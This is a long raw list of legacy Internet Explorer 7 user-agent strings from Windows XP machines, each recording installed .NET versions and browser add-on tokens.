Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; FDM; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) Sleipnir/2.7.0 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; Seekmo 10.0.431.0; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; Zango 10.3.36.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.0.04506.648; MEGAUPLOAD 2.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; Avant Browser) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; Avant Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; Avant Browser; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; FDM; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; MEGAUPLOAD 2.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; FDM; MEGAUPLOAD 1.0; MEGAUPLOAD 2.0; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; KKman3.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; KKman3.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; KKman3.0; InfoPath.2; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; MEGAUPLOAD 1.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; MEGAUPLOAD 1.0; MEGAUPLOAD 2.0; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; MS-RTC LM 8; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; Zango 10.0.314.0; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; Zango 10.1.181.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; Zango 10.3.37.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; chromeframe; InfoPath.1; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1) ; .NET CLR 3.0.04506.648; MEGAUPLOAD 2.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; MyIE2; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; MyIE2; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; MyIE2; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; MyIE2; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Q312461; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Q312461; HbTools 4.8.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Q312461; YPC 3.2.0; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.1; PeoplePal 3.0; yplus 5.1.03b) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; QQDownload 627; TencentTraveler 4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; (R1 1.3)) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; (R1 1.5); .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; (R1 1.5); .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; (R1 1.5); .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; Media Center PC 2.8) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Tablet PC 1.7; .NET CLR 2.0.40607) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 1.0.3705; InfoPath.1; .NET CLR 2.0.50727; WinFX RunTime 3.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50215) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Sleipnir/2.41 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2; InfoPath.1; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Alexa Toolbar) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; FDM) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; WinFX RunTime 3.0.50727; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 3.0.04506.03) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; FDM) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; FDM; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; Avalon 6.0.5070; WinFX RunTime 3.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1; Alexa Toolbar) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; FDM) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; Alexa Toolbar) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; Avant Browser) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; Avant Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; Avant Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; FDM) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; FunWebProducts; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; FunWebProducts; Maxthon; FDM) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; FunWebProducts; Zango 10.0.341.0; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; GTB5; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; GTB6.6; AskTbPTV2/5.9.1.14019) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; HbTools 4.8.4) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; FDM) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; FDM) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; MyIE2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; WinFX RunTime 3.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; Stardock Blog Navigator 1.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; Tablet PC 1.7; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; TheWorld) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; Wanadoo 6.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; YPC 3.2.0; FunWebProducts; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; YPC 3.2.0; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; iOpus-I-M; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; iOpus-I-M; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Seekmo 10.0.345.0; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Seekmo 10.0.406.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SiteKiosk 6.5 Build 150) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Stardock Blog Navigator 1.1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; T312461; GTB5; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tablet PC 1.7; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tablet PC 1.7; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tablet PC 1.7; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tablet PC 1.7; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tablet PC 1.7; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tablet PC 1.7; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tablet PC 1.7; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tablet PC 1.7; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; MS-RTC LM 8; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tablet PC 1.7; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; WinFX RunTime 3.0.50727; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tablet PC 1.7; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Zango 10.3.75.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tablet PC 1.7; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tablet PC 1.7; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tablet PC 1.7; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tablet PC 1.7; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; TencentTraveler 4.0; .NET CLR 2.0.50727; AskTB5.6) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; TencentTraveler 4.0; GTB6.3; QQDownload 625; (R1 1.6)) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; TencentTraveler 4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MAXTHON 2.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Lunascape 6.1.7.21880) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 1.0.3705; Sleipnir/2.8.5) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; MSN Optimized;US) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Sleipnir/2.8.5) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSN Optimized;US) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; MAXTHON 2.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Sleipnir/2.8.4 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; FDM) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.1; Maxthon 2.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; FDM; msn OptimizedIE8;ZHTW; Maxthon 2.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Lunascape 6.2.0.22177) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MS-RTC LM 8; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; msn OptimizedIE8;ENUS) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Sleipnir/2.8.4 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Sleipnir/2.5.12 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Lunascape 6.1.5.21576) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; yie8; yie8) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Lunascape 5.0.3.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; yie8) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Lunascape 5.0.4.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; InfoPath.1; MAXTHON 2.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; GreenBrowser) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; InfoPath.2; Sleipnir/2.8.5) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; Lunascape 4.8.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 1.0.3705; MAXTHON 2.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) 